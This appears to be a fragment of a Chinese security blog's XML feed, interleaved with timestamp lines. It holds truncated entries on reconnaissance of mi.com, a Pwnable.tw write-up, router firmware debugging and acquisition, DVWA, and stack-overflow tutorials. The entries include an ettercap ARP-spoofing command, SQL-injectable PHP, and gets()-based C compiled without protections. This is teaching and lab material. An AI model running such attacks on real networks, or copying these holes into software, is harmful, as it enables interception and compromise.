<category > 杂七杂八 </category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 钓鱼邮件 </tag>
<tag > phishing email </tag>
</tags>
</entry>
<entry >
<title > 【web】信息收集</title>
<link href= "/2019/11/12/web-information-collect/" />
<url > /2019/11/12/web-information-collect/</url>
<content type= "html" > <![CDATA[<p> 信息收集+常规owasp top 10+逻辑漏洞<br > <a href= "https://www.freebuf.com/sectool/94777.html" target= "_blank" rel= "noopener" > https://www.freebuf.com/sectool/94777.html</a> </p> <blockquote > <p > 测试范围:<em > .i.mi.com </em> .cloud.mi.com</p> </blockquote> <h1 id= "0x01-信息收集" > <a href= "#0x01-信息收集" class= "headerlink" title= "0x01 信息收集" > </a> 0x01 信息收集</h1> <p > <a href= "https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/" target= "_blank" rel= "noopener" > https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</a> <br > <a href= "http://www.polaris-lab.com/index.php/archives/69/" target= "_blank" rel= "noopener" > http://www.polaris-lab.com/index.php/archives/69/</a> </p> <h2 id= "域名信息收集" > <a href= "#域名信息收集" class= "headerlink" title= "域名信息收集" > </a> 域名信息收集</h2> <h3 id= "whois反查" > <a href= "#whois反查" class= "headerlink" title= "whois反查" > </a> whois反查</h3> <p > 当你知道目标的域名, 你首先要做的就是通过Whoist数据库查询域名的注册信息, Whois数据库是提供域名的注册人信息, 包括联系方式, 管理员名字, 管理员邮箱等等, 其中也包括DNS服务器的信息。<br > 默认情况下, Kali已经安装了Whois。你只需要输入要查询的域名即可: <code > whois mi.com</code> <br > <figure class= "highlight shell" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class= "line" > 12</span> <br > <span class= "line" > 13</span> <br > <span class= "line" > 14</span> <br > <span class= "line" > 15</span> <br > <span class= "line" > 16</span> <br > <span class= "line" > 17</span> <br > <span class= "line" > 18</span> <br > <span class= "line" > 19</span> <br > <span class= "line" > 20</span> <br > <span class= "line" > 21</span> <br > <span class= "line" > 22</span> <br > <span class= "line" > 23</span> <br > <span class= "line" > 24</span> <br > <span class= "line" > 25</span> <br > <span class= "line" > 26</span> <br > <span class= "line" > 27</span> <br > <span class= "line" > 28</span> <br > <span class= "line" > 29</span> <br > <span class= "line" > 30</span> <br > <span class= "line" > 31</span> <br > <span class= "line" > 32</span> <br > <span class= "line" > 33</span> <br > <span class= "line" > 34</span> <br > <span class= "line" > 35</span> <br > <span class= "line" > 36</span> <br > <span class= "line" > 37</span> <br > <span class= "line" > 38</span> <br > <span class= "line" > 39</span> <br > <span class= "line" > 40</span> <br > <span class= "line" > 41</span> <br > <span class= "line" > 42</span> <br > <span class= "line" > 43</span> <br > <span class= "line" > 44</span> <br > <span class= "line" > 45</span> <br > <span class= "line" > 46</span> <br > <span class= "line" > 47</span> <br > <span class= "line" > 48</span> <br > <span class= "line" > 49</span> <br > <span class= "line" > 50</span> <br > <span class= "line" > 51</span> <br > <span class= "line" > 52</span> <br > <span class= "line" > 53</span> <br > <span class= "line" > 54</span> <br > <span class= "line" > 55</span> <br > <span class= "line" > 56</span> <br > <span class= "line" > 57</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > root@kali:~# whois mi.com</span> <br > <span class= "line" > Domain Name: MI.COM</span> <br > <span class= "line" > Registry Domain ID: 2502844_DOMAIN_COM-VRSN</span> <br > <span class= "line" > Registrar WHOIS Server: whois.networksolutions.com</span> <br > <span class= "line" > Registrar URL: http://networksolutions.com</span> <br > <span class= "line" > Updated Date: 2017-12-20T07:20:54Z</span> <br > <span class= "line" > Creation Date: 1998-11-06T05:00:00Z</span> <br > <span class= "line" > Registrar Registration Expiration Date: 2023-11-05T04:00:00Z</span> <br > <span class= "line" > Registrar: NETWORK SOLUTIONS, LLC.</span> <br > <span class= "line" > Registrar IANA ID: 2</span> <br > <span class= "line" > Reseller:</span> <br > <span class= "line" > Domain Status: clientTransferProhibited
2021-04-10 10:53:27 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > web </category>
2021-04-10 10:53:27 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > web </tag>
<tag > ctf </tag>
</tags>
</entry>
<entry >
<title > 【Pwnable.tw】start</title>
<link href= "/2019/10/25/PWNtw-start/" />
<url > /2019/10/25/PWNtw-start/</url>
<content type= "html" > <![CDATA[<h1 id="Pwnable-tw-start"> <a href= "#Pwnable-tw-start" class= "headerlink" title= "Pwnable.tw start" > </a> <a href= "http://pwnable.tw/" target= "_blank" rel= "noopener" > Pwnable.tw</a> start</h1> <p > 程序链接:<a href= "https://pwnable.tw/static/chall/start" target= "_blank" rel= "noopener" > https://pwnable.tw/static/chall/start</a> </p> <h2 id= "0x01-检查保护情况" > <a href= "#0x01-检查保护情况" class= "headerlink" title= "0x01 检查保护情况" > </a> 0x01 检查保护情况</h2> <p > 不得不说,<a href= "http://www.trapkit.de/tools/checksec.html" target= "_blank" rel= "noopener" > checksec</a> 这个工作看似简单, 用用现成工具就行, 但这决定了我们之后漏洞利用的方式, 是否栈代码执行, 还是ROP。<br > 最好多用几个工具进行检查, 兼听则明。比如这个程序用peda检查就开启了NX, 但实际上并没有。所以理想的话, 把shellcode布置到栈上就可以了! </p> <figure class= "highlight shell" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > <span class= "meta" > $</span> checksec ./start</span> <br > <span class= "line" > Arch: i386-32-little</span> <br > <span class= "line" > RELRO: No RELRO</span> <br > <span class= "line" > Stack: No canary found</span> <br > <span class= "line" > NX: NX disabled</span> <br > <span class= "line" > PIE: No PIE (0x8048000)</span> <br > </pre> </td> </tr> </table> </figure> <p > <strong > RELRO(Relocation Read Only):尽量使存储区域只读</strong> </p> <h2 id= "0x02-漏洞分析" > <a href= "#0x02-漏洞分析" class= "headerlink" title= "0x02 漏洞分析" > </a> 0x02 漏洞分析</h2> <p > 用IDA逆向分析, 汇编代码</p> <figure class= "highlight c" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class= "line" > 12</span> <br > <span class= "line" > 13</span> <br > <span class= "line" > 14</span> <br > <span class= "line" > 15</span> <br > <span class= "line" > 16</span> <br > <span class= "line" > 17</span> <br > <span class= "line" > 18</span> <br > <span class= "line" > 19</span> <br > <span class= "line" > 20</span> <br > <span class= "line" > 21</span> <br > <span class= "line" > 22</span> <br > <span class= "line" > 23</span> <br > <span class= "line" > 24</span> <br > <span class= "line" > 25</span> <br > <span class= "line" > 26</span> <br > <span class= "line" > 27</span> <br > <span class= "line" > 28</span> <br > <span class= "line" > 29</span> <br > <span class= "line" > 30</span> <br > <span class= "line" > 31</span> <br > <span class= "line" > 32</span> <br > <span class= "line" > 33</span> <br > <span class= "line" > 34</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > 保存现场环境esp、_exit</span> <br > <span class= "line" > .text:<span class= "number" > 08048060</span> push esp</span> <br > <span class= "line" > .text:<span class= "number" > 08048061</span> push offset _exit</span> <br > <span class= "line" > </span> <br > <span class= "line" > 清空寄存器EAX EBX ECX EDX</span> <br > <span class= "line" > .text:<span class= "number" > 08048066</span> xor eax, eax</span> <br > <span class= "line" > .text:<span class= "number" > 08048068</span> xor ebx, ebx</span> <br > <span class= "line" > .text:<span class= "number" > 0804806</span> A xor ecx, ecx</span> <br > <span class= "line" > .text:<span class= "number" > 0804806</span> C xor edx, edx</span> <br > <span class= "line" > </span> <br > <span class= "line" > 向栈上压入参数</span> <br > <span class= "line" > .text:<span class= "number" > 0804806</span> E push <span class= "number" > 3</span> A465443h CTF:</span> <br > <span class= "line" > .te
2021-03-02 06:31:33 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > Pwn </category>
2021-03-02 06:31:33 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 二进制 </tag>
<tag > Linux </tag>
<tag > CTF </tag>
</tags>
</entry>
<entry >
<title > 远程调试小米路由器固件</title>
<link href= "/2019/07/25/Debug-a-router-firmware/" />
<url > /2019/07/25/Debug-a-router-firmware/</url>
<content type= "html" > <![CDATA[<h1 id="0x00-背景与简介"> <a href= "#0x00-背景与简介" class= "headerlink" title= "0x00 背景与简介" > </a> 0x00 背景与简介</h1> <p > 在分析嵌入式设备的固件时, 只采用静态分析方式通常是不够的, 你需要实际执行你的分析目标来观察它的行为。在嵌入式Linux设备的世界里, 很容易把一个调试器放在目标硬件上进行调试。如果你能在自己的系统上运行二进制文件, 而不是拖着硬件做分析, 将会方便很多, 这就需要用QEMU进行仿真。<br > 虽然QEMU在模拟核心芯片组包括CPU上都做的很不错, 但是QEMU往往不能提供你想运行的二进制程序需要的硬件。最常见问题是在运行系统服务, 如Web服务器或UPnP守护进程时, 缺乏NVRAM。解决方法是使用nvram-faker库拦截由libnvram.so提供的nvram_get()调用。即使解决了NVRAM问题, 该程序还可能会假设某些硬件是存在的, 如果硬件不存在, 该程序可能无法运行, 或者即便它运行了, 行为可能也与在其目标硬件上运行时有所不同。针对这种情况下, 我认为有三种解决方法: </p> <ol > <li > 修补二进制文件。这取决于期望什么硬件,以及它不存在时的行为是什么。</li> <li > 把复杂的依赖于硬件的系统服务拆分成小的二级制文件。如跳过运行Web服务器, 仅仅从shell脚本运行cgi二进制文件。因为大多数cgi二进制文件将来自Web服务器的输入作为标准输入和环境变量的组合, 并通过标准输出将响应发送到Web服务器。</li> <li > 拿到设备的shell, 直接在真机上进行调试, 这是最接近真实状况的方法。</li> </ol> <hr > <h1 id= "REF" > <a href= "#REF" class= "headerlink" title= "REF" > </a> REF</h1> <p > <strong > 综合:</strong> <br > <a href= "https://shadow-file.blogspot.com/2015/01/dynamically-analyzing-wifi-routers-upnp.html" target= "_blank" rel= "noopener" > 国外大神的博客</a> <br > <a href= "https://wooyun.js.org/drops/%E9%80%9A%E8%BF%87QEMU%20%E5%92%8C%20IDA%20Pro%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E8%AE%BE%E5%A4%87%E5%9B%BA%E4%BB%B6.html" target= "_blank" rel= "noopener" > 通过QEMU和IDAPro远程调试设备固件</a> <br > <a href= "https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow" target= "_blank" rel= "noopener" > MIPS漏洞调试环境安装及栈溢出</a> <br > <a href= "https://wiki.x10sec.org/pwn/arm/environment/" target= "_blank" rel= "noopener" > 环境搭建onCTFWIKI</a> <br > <a href= "https://www.anquanke.com/post/id/171918" target= "_blank" rel= "noopener" > 路由器漏洞训练平台</a> <br > <a href= "https://www.anquanke.com/post/id/180714" target= "_blank" rel= "noopener" > 路由器0day漏洞挖掘实战</a> <br > <a href= "https://5alt.me/wiki/%E9%80%86%E5%90%91" target= "_blank" rel= "noopener" > 逆向常用工具</a> </p> <p > <strong > 环境搭建:</strong> <br > <a href= "https://xz.aliyun.com/t/3826" target= "_blank" rel= "noopener" > 路由器漏洞挖掘测试环境的搭建之问题总结</a> </p> <p > <strong > Linux相关知识</strong> <br > <a href= "http://xstarcd.github.io/wiki/Cloud/qcow2_raw_vmdk.html" target= "_blank" rel= "noopener" > qcow2、raw、vmdk等镜像格式</a> <br > <a href= "http://joe.is-programmer.com/posts/17753.html" target= "_blank" rel= "noopener" > Linux 引导过程内幕</a> <br > <a href= "https://zhuanlan.zhihu.com/p/32051645" target= "_blank" rel= "noopener" > Linux启动过程</a> </p> <p > <strong > 调试案例</strong> <br > <a href= "https://xz.aliyun.com/t/5681" target= "_blank" rel= "noopener" > CVE-2019-10999复现</a> <br > <a href= "https://ray-cp.github.io/archivers/router_vuln_book_note" target= "_blank" rel= "noopener" > 《家用路由器0day漏洞挖掘》部分案例</a> <br > <a href= "https://paper.seebug.org/448/" target= "_blank" rel= "noopener" > TP-LINK WR941N路由器研究</a> </p> <hr > <h1 id= "0x01-基础条件" > <a href= "#0x01-基础条件" class= "headerlink" title= "0x01 基础条件" > </a> 0x01 基础条件</h1> <ul > <li > <p > 一系列的工具,包括:<br > <strong > binwalk</strong> 帮助你解包固件<br > <strong > buildroot</strong> mip
2021-03-02 06:31:33 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > IOT </category>
2021-03-02 06:31:33 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 小米 </tag>
<tag > 路由器 </tag>
<tag > 调试 </tag>
</tags>
</entry>
<entry >
<title > 获取固件的几种方法</title>
<link href= "/2019/07/24/%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6/" />
<url > /2019/07/24/%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6/</url>
<content type= "html" > <![CDATA[<p> 通过分析物联网设备遭受攻击的链条可以发现, 黑客获取固件, 把固件逆向成汇编或C程序语言后, 能分析出设备的运行流程和网络行为, 还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息, 他们也很难发现这些漏洞。从这一点看, 物联网设备的安全性, 在很大程度上决定于其固件的安全性。</p> <p > <a href= "http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/" target= "_blank" rel= "noopener" > http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/</a> <br > <a href= "https://open.appscan.io/article-1163.html" target= "_blank" rel= "noopener" > https://open.appscan.io/article-1163.html</a> </p> <h1 id= "官网获取或联系售后索取升级包" > <a href= "#官网获取或联系售后索取升级包" class= "headerlink" title= "官网获取或联系售后索取升级包" > </a> 官网获取或联系售后索取升级包</h1> <h1 id= "网络升级拦截" > <a href= "#网络升级拦截" class= "headerlink" title= "网络升级拦截" > </a> 网络升级拦截</h1> <p > 工具: wireshark、ettercap<br > 流程:中间人-> 开始抓包-> 在线升级-> 分析固件地址-> 下载<br > 案例: 华为路由WS5200 四核版<br > 这款路由器在网上找不到现有固件,我们尝试一下是否可以通过抓包在线升级过程获取固件。<br > 首先关闭防火墙,否则无法访问路由器的服务,无法做中间人攻击。<br > 使用ettercap进行arp欺骗, <code > sudo ettercap -Tq -i ens33 -M arp:remote /192.168.31.1// /192.168.31.134//</code> <br > 打开wireshark进行抓包。理论上说, 点击升级固件之后, wireshark就能够记录升级固件的整个过程(HTTP),但是结果却并不理想。</p> <p > 还好华为路由器自带了抓包的功能(方便后期的调试和维护),所以直接使用这个功能抓取报文,比做中间人要直接了当得多。</p> <p > 在点击升级固件之后, 我们可以看到大量发往58.49.156.104这个地址的报文,猜测极有可能是华为的服务器,过滤一下会看得更清楚<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1563606353/samples/1.png" a l t > <br > 可以看到在通过三次TCP握手之后, 华为路由器向服务器发送了get请求, uri就是获取固件的地址 <a href= "http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin" target= "_blank" rel= "noopener" > http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin</a> <br > 点击即可拿到最新的固件</p> <p > 案例:小米智能门锁<br > <a href= "http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520&Expires=1566136387000&Signature=KLOrbsRANlJD7w7bKB03xI1t4/0=" target= "_blank" rel= "noopener" > http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520& Expires=1566136387000& Signature=KLOrbsRANlJD7w7bKB03xI1t4/0=</a> </p> <p > ./storage/emulated/0/Android/data/com.xiaomi.smarthome/cache/ble/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin</p> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > $ binwalk -Me 250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin</span> <br > <span class= "line" > </span> <br > <span class= "line" > Scan Time: 2019-07-20 20:01:40</span> <br > <span class= "line" > Target File: /home/han/ck/iot/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin</span> <br > <span class= "line" > MD5 Checksum: 250cc495d7da7643680dadeab578fce0</span> <br > <span class= "line" > Signatures: 390</span> <br > </pre> </td> </tr> </table> </figure> <h1 id= "通过串口读取" > <a href= "#通过串口<E4B8B2>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > IOT </category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > IoT </tag>
<tag > 硬件层 </tag>
</tags>
</entry>
<entry >
<title > DVWA黑客攻防平台</title>
<link href= "/2019/07/24/web-dvwa/" />
<url > /2019/07/24/web-dvwa/</url>
<content type= "html" > <![CDATA[<h1 id="搭建环境"> <a href= "#搭建环境" class= "headerlink" title= "搭建环境" > </a> 搭建环境</h1> <p > 最好使用docker来搭建, 方便迁移 <a href= "https://hub.docker.com/r/vulnerables/web-dvwa/" target= "_blank" rel= "noopener" > https://hub.docker.com/r/vulnerables/web-dvwa/</a> </p> <h1 id= "暴力破解" > <a href= "#暴力破解" class= "headerlink" title= "暴力破解" > </a> 暴力破解</h1> <h2 id= "easy模式" > <a href= "#easy模式" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote > <p > 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。<br > 用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词, 姓氏, 任何太短的密码( 通常被认为少于6或7个字符) , 或可预测的模式( 例如交替的元音和辅音, 这被称为leetspeak, 所以“密码“变成”p @ 55w0rd“) 。<br > 创建针对目标生成的目标单词列表通常会提供最高的成功率。有一些公共工具可以根据公司网站,个人社交网络和其他常见信息(如生日或毕业年份)的组合创建字典。<br > 最后一种方法是尝试所有可能的密码,称为暴力攻击。从理论上讲,如果尝试次数没有限制,那么暴力攻击将永远是成功的,因为可接受密码的规则必须是公开的;但随着密码长度的增加,可能的密码数量也越来越长。</p> </blockquote> <p > 使用burpsuite可破之, Burp suite运行后, Proxy 开起默认的8080 端口作为本地代理接口。<br > 使用Burp suite通过置一个web 浏览器使用其代理服务器<br > <figure class= "highlight php" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class= "line" > 12</span> <br > <span class= "line" > 13</span> <br > <span class= "line" > 14</span> <br > <span class= "line" > 15</span> <br > <span class= "line" > 16</span> <br > <span class= "line" > 17</span> <br > <span class= "line" > 18</span> <br > <span class= "line" > 19</span> <br > <span class= "line" > 20</span> <br > <span class= "line" > 21</span> <br > <span class= "line" > 22</span> <br > <span class= "line" > 23</span> <br > <span class= "line" > 24</span> <br > <span class= "line" > 25</span> <br > <span class= "line" > 26</span> <br > <span class= "line" > 27</span> <br > <span class= "line" > 28</span> <br > <span class= "line" > 29</span> <br > <span class= "line" > 30</span> <br > <span class= "line" > 31</span> <br > <span class= "line" > 32</span> <br > <span class= "line" > 33</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > </span> <br > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> ( <span class= "keyword" > isset</span> ( $_GET[ <span class= "string" > 'Login'</span> ] ) ) { </span> <br > <span class= "line" > <span class= "comment" > // Get username</span> </span> <br > <span class= "line" > $user = $_GET[ <span class= "string" > 'username'</span> ];</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Get password</span> </span> <br > <span class= "line" > $pass = $_GET[ <span class= "string" > 'password'</span> ];</span> <br > <span class= "line" > $pass = md5( $pass );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > // Check the database</span> </span> <br > <span class= "line" > $query = <span class= "string" > "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"</span> ;</span> <br > <span class= "line" > $result = mysqli_query($GLOBALS[<span class= "string" > "___mysqli_ston"</span> ], $query ) <span class= "keyword" > or</span> <span class= "keyword" > die</span> ( <span class= "string" > '< pre> '</span> . ((is_object($GLOBALS[<span class= "str
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > web </category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > web </tag>
<tag > ctf </tag>
</tags>
</entry>
<entry >
<title > Linux Pwn-缓冲区溢出利用</title>
<link href= "/2019/07/16/linux-pwn-32/" />
<url > /2019/07/16/linux-pwn-32/</url>
<content type= "html" > <![CDATA[<p> <strong > ref: </strong> </p> <blockquote > <p > CTF-WIKI: <a href= "https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/" target= "_blank" rel= "noopener" > https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/</a> <br > 蒸米大佬的一步一步学rop <a href= "http://www.anquan.us/static/drops/tips-6597.html" target= "_blank" rel= "noopener" > http://www.anquan.us/static/drops/tips-6597.html</a> <br > <a href= "https://bbs.pediy.com/thread-221734.htm" target= "_blank" rel= "noopener" > https://bbs.pediy.com/thread-221734.htm</a> </p> </blockquote> <p > <strong > 工具:</strong> </p> <blockquote > <p > objdump、ldd、ROPgadget、readelf、<a href= "https://ctf-wiki.github.io/ctf-tools/" target= "_blank" rel= "noopener" > https://ctf-wiki.github.io/ctf-tools/</a> <br > <a href= "https://github.com/ctf-wiki/ctf-challenges" target= "_blank" rel= "noopener" > https://github.com/ctf-wiki/ctf-challenges</a> </p> </blockquote> <h1 id= "0x00-Control-Flow-hijack" > <a href= "#0x00-Control-Flow-hijack" class= "headerlink" title= "0x00 Control Flow hijack" > </a> 0x00 Control Flow hijack</h1> <p > 和Windows一样, 栈溢出的根本原因在于当前计算机的体系结构没有区分代码段和数据段, 因此我们可以通过修改数据段的内容( 返回地址) , 改变程序的执行流程, 从而达到程序流劫持的效果。<br > 改变计算机体系来规避漏洞目前是不可能的, 防御者为了应对这种攻击, 提出了各种增大攻击难度的措施( 没有绝对安全的系统) , 最常见的有: DEP堆栈不可执行、ASLR内存地址随机化、GS/Canary栈保护等。<br > 我们从最简单的入手,不开启任何防护,先了解栈溢出的基本操作,然后逐步增加防御措施。</p> <h2 id= "寻找危险函数" > <a href= "#寻找危险函数" class= "headerlink" title= "寻找危险函数" > </a> 寻找危险函数</h2> <p > 这里有一个漏洞程序<br > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class= "line" > 12</span> <br > <span class= "line" > 13</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > #include < stdio.h> </span> <br > <span class= "line" > #include < string.h> </span> <br > <span class= "line" > void success() { puts(" You Hava already controlled it." ); } </span> <br > <span class= "line" > void vulnerable() { </span> <br > <span class= "line" > char s[12];</span> <br > <span class= "line" > gets(s);</span> <br > <span class= "line" > puts(s);</span> <br > <span class= "line" > return;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > int main(int argc, char **argv) { </span> <br > <span class= "line" > vulnerable();</span> <br > <span class= "line" > return 0;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </p> <p > 当我们看到gets时就应该知道如何入手了, 这是一个非常危险的函数, 无条件的接受任意大的字符串。<br > 历史上,莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。<br > 先进行编译,关闭防御措施:<br > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > $ gcc -m32 -no-pie -fno-stack-protector -z execstack stack1.c -o stack1</span> <br > <span class= "line" > stack1.c: In function ‘ vulnerable’ :</span> <br > <span class= "line" > stack1.c:6:3: warning: implicit declaration of function ‘ gets’ ; did you mean ‘ fgets’ ? [-Wimplicit-function-declaration]</span> <br > <span class= "line" > g
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > Pwn </category>
2021-01-08 08:35:03 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > linux </tag>
<tag > pwn </tag>
<tag > 栈溢出 </tag>
</tags>
</entry>
<entry >
<title > x86-basic 漏洞利用</title>
<link href= "/2019/07/10/x86basic/" />
<url > /2019/07/10/x86basic/</url>
<content type= "html" > <![CDATA[<h1 id="0x00-漏洞利用开发简介"> <a href= "#0x00-漏洞利用开发简介" class= "headerlink" title= "0x00 漏洞利用开发简介" > </a> 0x00 漏洞利用开发简介</h1> <p > ( 1) 需要什么</p> <ul > <li > Immunity Debugger -<a href= "http://debugger.immunityinc.com/ID_register.py" target= "_blank" rel= "noopener" > Download</a> </li> <li > Mona.py -<a href= "https://github.com/corelan/mona" target= "_blank" rel= "noopener" > Download</a> </li> <li > Metasploit框架-<a href= "https://www.metasploit.com/" target= "_blank" rel= "noopener" > 下载</a> </li> <li > 靶机– Windows XP sp3</li> </ul> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562741903/pwn/%E6%8D%95%E8%8E%B7.png" a l t > </p> <ul > <li > 函数调用与栈:调用、返回</li> <li > 寄存器与函数栈帧: ESP、EBP</li> <li > 函数栈帧:局部变量、栈帧状态值、函数返回地址</li> <li > 函数调用约定与相关指令:参数传递方式、参数入栈顺序、恢复堆栈平衡的操作</li> </ul> <p > ( 2) 函数调用的汇编过程</p> <ol > <li > <p > 示例程序</p> <figure class= "highlight cpp" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > charname[] = <span class= "string" > "1234567"</span> ;</span> <br > <span class= "line" > voidfunc(<span class= "keyword" > int</span> a, <span class= "keyword" > int</span> b, <span class= "keyword" > int</span> c)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > charbuf[<span class= "number" > 8</span> ];</span> <br > <span class= "line" > <span class= "built_in" > strcpy</span> (buf, name);</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </li> <li > <p > 汇编过程</p> </li> </ol> <ul > <li > PUSH c, PUSH b, PUSH a</li> <li > CALL address of func【保存返回地址; 跳转】</li> <li > MOV ebp, esp</li> <li > PUSH ebp</li> <li > SUB esp, 0x40</li> <li > 创建局部变量, 4个字节为一组</li> <li > do something</li> <li > add esp, 0x40</li> <li > pop ebp</li> <li > RETN【弹出返回地址, 跳转】</li> </ul> <ol start= "3" > <li > 栈帧结构<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742079/pwn/%E6%8D%95%E8%8E%B71.png" a l t > </li> </ol> <h1 id= "0x01-简单栈溢出" > <a href= "#0x01-简单栈溢出" class= "headerlink" title= "0x01 简单栈溢出" > </a> 0x01 简单栈溢出</h1> <blockquote > <p > <strong > 目标程序:</strong> <br > <a href= "http://redstack.net/blog/static/uploads/2008/01/bof-server.c" target= "_blank" rel= "noopener" > bof-server source code</a> <br > <a href= "http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.exe" target= "_blank" rel= "noopener" > bof-server binary for Windows</a> <br > <strong > usage:</strong> <br > 服务端<br > <code > bof-server.exe 4242</code> <br > 客户端<br > <code > telnet localhost 4242</code> <br > <code > version</code> <br > <code > bof-server v0.01</code> <br > <code > quit</code> </p> </blockquote> <h2 id= "漏洞点" > <a href= "#漏洞点" class= "headerlink" title= "漏洞点" > </a> 漏洞点</h2> <p > <img src= 